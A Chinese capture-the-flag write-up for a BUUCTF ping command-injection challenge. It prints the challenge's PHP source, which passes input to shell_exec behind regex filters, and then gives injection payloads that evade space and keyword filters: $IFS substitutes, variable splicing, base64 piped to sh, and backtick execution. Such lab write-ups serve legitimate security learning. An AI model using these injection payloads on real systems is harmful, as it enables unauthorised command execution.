PING命令执行漏洞-绕过空格
PING命令执行漏洞-绕过空格
环境地址:http://4bd16c11-36e4-4f17-aa8a-6570b4def85f.node4.buuoj.cn/
我们看到
/?ip=
可以试一下本地ip
看到这里我们就能知道命令执行方法大概就是加上管道符“|”或者“;”
我们列出目录下面的文件
/?ip=127.0.0.1;ls
我们发现有flag.php和index.php两个文件,尝试读取flag.php
发现空格被过滤了(fxck your space就是过滤空格的意思!)
|
$IFS${IFS}$IFS$1 //$1改成$加其他数字貌似都行$IFS$9 (Ubuntu下测试通过)后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09 ps:有时会禁用cat: 解决方法是使用tac反向输出命令: linux命令中可以加\,所以甚至可以ca\t /fl\ag
然后我们尝试用 ${IFS} 绕过空格,发现{}被ban
然后我们在尝试用 $IFS$1 绕过空格,发现flag被ban
接着我们尝试读取一下index.php的内容
/?ip= PING 127.0.0.1 (127.0.0.1): 56 data bytes /?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); }?>
过滤了很多标点,空格,bash,flag,那么网上搜索有这几种做法:
cat fl* 利用*匹配任意 不行echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行 ca\t fl\ag.php 不行cat fl''ag.php 不行
解决方法:
方法一:用变量拼接:我们发现源码中有一个$a变量可以覆盖
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
方法二:过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
方法三:内联执行的做法
?ip=127.0.0.1;cat$IFS$9`ls`
内联,就是将反引号内命令的输出作为输入执行
参考连接:
https://www.jianshu.com/p/fd7f9fcc9333
__EOF__
本文作者:tzf胖三斤
本文链接:https://www.cnblogs.com/tzf1/p/14969805.html